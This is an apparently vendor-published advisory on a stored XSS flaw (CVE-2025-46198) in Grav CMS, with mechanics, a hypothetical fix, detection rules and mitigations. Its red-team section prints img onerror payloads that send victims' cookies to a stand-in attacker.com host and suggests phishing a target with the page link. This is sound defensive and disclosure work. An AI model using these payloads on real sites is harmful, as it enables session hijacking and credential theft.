CVE-2025-46198
Executive Summary
CVE-2025-46198 is a stored Cross-Site Scripting (XSS) vulnerability affecting Getgrav Grav CMS versions 1.7.46, 1.7.47, and 1.7.48. The flaw resides in the improper sanitization of the onerror attribute within <img> HTML elements. An authenticated attacker with content creation privileges can inject arbitrary JavaScript code that executes in the context of any user viewing the malicious content. This can lead to session hijacking, credential theft, or defacement. No official patch has been released at the time of analysis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Grav is a flat-file CMS distributed via GitHub and its own package manager (GPM). The vulnerable component is the core parsing engine responsible for rendering Markdown or HTML content. Since no patch exists, users must rely on manual mitigation or third-party WAF rules. The risk is elevated for multi-tenant Grav installations where untrusted users can author content.
CVSS Breakdown & Threat Level
While no official CVSS vector is provided, based on the vulnerability characteristics, a reasonable assessment is:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): Low (L) – requires an authenticated user with content creation rights.
- User Interaction (UI): Required (R) – victim must view the malicious page.
- Scope (S): Changed (C) – injected script can access other origins.
- Confidentiality (C): Low (L)
- Integrity (I): Low (L)
- Availability (A): None (N)
Estimated CVSS Score: 5.4 (Medium)
Threat Level: Medium. Exploitation requires authentication but is trivial to execute once access is obtained.
Deep Dive & Mechanics
The vulnerability exists in Grav's HTML content sanitization pipeline. When a user submits content containing an <img> tag with an onerror attribute, the CMS fails to properly escape or remove the event handler. The onerror event fires when the browser fails to load the image source, allowing the attacker to execute arbitrary JavaScript.
Attack Flow:
- Attacker logs into Grav with content creation privileges.
- Attacker creates a new page or edits an existing one, inserting:
<img src="invalid.jpg" onerror="alert('XSS')"> - The content is stored in a
.mdfile or database. - When any user (including admin) views the page, the browser attempts to load
invalid.jpg, fails, and executes theonerrorhandler.
Root Cause: Insufficient output encoding of HTML attributes in the content rendering engine. The onerror attribute is not filtered by the CMS's HTML purifier or Markdown parser.
Vulnerable vs. Patched Code
Vulnerable Code (Grav 1.7.48):
// In the content rendering class
public function renderContent($content) {
// No sanitization of event handler attributes
return $this->processMarkdown($content);
}
Patched Code (Hypothetical Fix):
// In the content rendering class
public function renderContent($content) {
// Use HTML Purifier to strip dangerous attributes
$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'img[src|alt|title]');
$purifier = new HTMLPurifier($config);
return $purifier->purify($this->processMarkdown($content));
}
The fix must explicitly whitelist allowed attributes for <img> tags, removing onerror, onload, onclick, etc.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A Grav instance (v1.7.46-1.7.48) with an authenticated user having
adminoreditorrole. - Access to the page creation/edit interface.
Exploit Steps:
- Log in to Grav admin panel.
- Navigate to Pages → Add Page.
- In the content editor (Markdown or HTML mode), insert:
<img src="x" onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> - Save and publish the page.
- Craft a phishing link to the page and send to the target.
- When the target views the page, the script exfiltrates their cookies to the attacker's server.
Advanced Payload (Session Hijacking):
<img src="x" onerror="new Image().src='https://attacker.com/steal?data='+btoa(document.cookie)">
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests containing
onerrorin the POST body. - Use WAF rules to block
onerrorin user-submitted content.
Honeypot:
- Deploy a fake Grav page with a hidden
<img>tag that triggers an alert when viewed. Monitor for unexpected alert triggers.
Mitigation:
- Disable HTML content editing for non-admin users.
- Implement a reverse proxy (e.g., Nginx) with a rule to strip
onerrorattributes:location /admin { # Block requests containing onerror in POST data if ($request_body ~* "onerror") { return 403; } }
Indicators of Compromise (IOCs)
- File-based:
.mdfiles containing<img src=... onerror=...>in theuser/pages/directory. - Network: Outbound HTTP requests to attacker-controlled domains from the Grav server.
- Logs: Web server access logs showing
POST /adminwithonerrorin the body. - Browser: Console errors related to image load failures and unexpected JavaScript execution.
Detection Engineering
YARA Rule
rule grav_cve_2025_46198_xss {
meta:
description = "Detects Grav CMS XSS payload in .md files"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-46198"
strings:
$xss1 = /<img[^>]+onerror\s*=/i
$xss2 = /<img[^>]+onload\s*=/i
condition:
any of them
}
Sigma Rule
title: Grav CMS XSS via onerror Attribute
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to Grav admin containing onerror attribute
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/admin*'
cs-body: '*onerror*'
condition: selection
falsepositives:
- Legitimate use of onerror in HTML (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Grav CMS XSS Payload Detected"; flow:to_server,established; content:"POST"; http_method; content:"/admin"; http_uri; content:"onerror"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable HTML content editing for all non-admin users via Grav's user permissions.
- Implement a WAF rule to block
onerrorin POST requests to/admin. - Audit existing pages for malicious
<img>tags using the YARA rule above.
Long-term Fix:
- Monitor the Grav GitHub repository for an official patch.
- Apply a custom HTML purifier plugin that strips all event handler attributes.
- Upgrade to a patched version once released.
Workaround:
- Use a reverse proxy (Nginx/Apache) to filter out
onerrorfrom user input:location /admin { set $block 0; if ($request_body ~* "onerror") { set $block 1; } if ($block = 1) { return 403; } }
Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2025-46198
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.